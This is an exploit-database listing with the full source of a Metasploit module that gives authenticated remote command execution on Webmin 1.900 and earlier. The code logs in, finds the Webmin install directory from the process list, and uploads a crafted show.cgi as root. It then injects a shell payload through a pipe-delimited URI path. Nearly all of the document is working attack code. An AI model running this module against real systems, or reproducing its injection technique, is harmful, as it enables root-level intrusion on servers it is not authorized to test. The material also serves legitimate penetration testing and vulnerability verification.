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Webmin 1.900 Remote Command Execution

Webmin 1.900 Remote Command Execution
Posted Jan 18, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Webmin versions 1.900 and below. Any user authorized to the "Java file manager" and "Upload and Download" fields, to execute arbitrary commands with root privileges. In addition, "Running Processes" field must be authorized to discover the directory to be uploaded. A vulnerable file can be printed on the original files of the Webmin application. The vulnerable file we are uploading should be integrated with the application. Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used. The module has been tested successfully with Webmin version 1.900 over Debian 4.9.18.

tags | exploit, java, arbitrary, cgi, root
systems | linux, debian
MD5 | 9e47bc329db56a10368c5886b4673495

Webmin 1.900 Remote Command Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable file can be printed on the original files of the Webmin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
The module has been tested successfully with Webmin 1900 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webmin <= 1.900', { }]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end

##
# Target and input verification
##

def check

peer = "#{rhost}:#{rport}"

vprint_status("Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)

if res and res.code == 302 and res.get_cookies =~ /sid/
vprint_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end

vprint_status("Attempting to execute...")

command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)


if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end

end

##
# Exploiting phase
##

def exploit

peer = "#{rhost}:#{rport}"

print_status("Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)

if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end

##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end

print_status("Target URL => #{ssl}#{peer}")

res1 = send_request_raw(
{
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})

if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end

##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)

data2 = "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"

res2 = send_request_raw(
{
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})

if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")

command = payload.encoded

res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)


if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end

end

end

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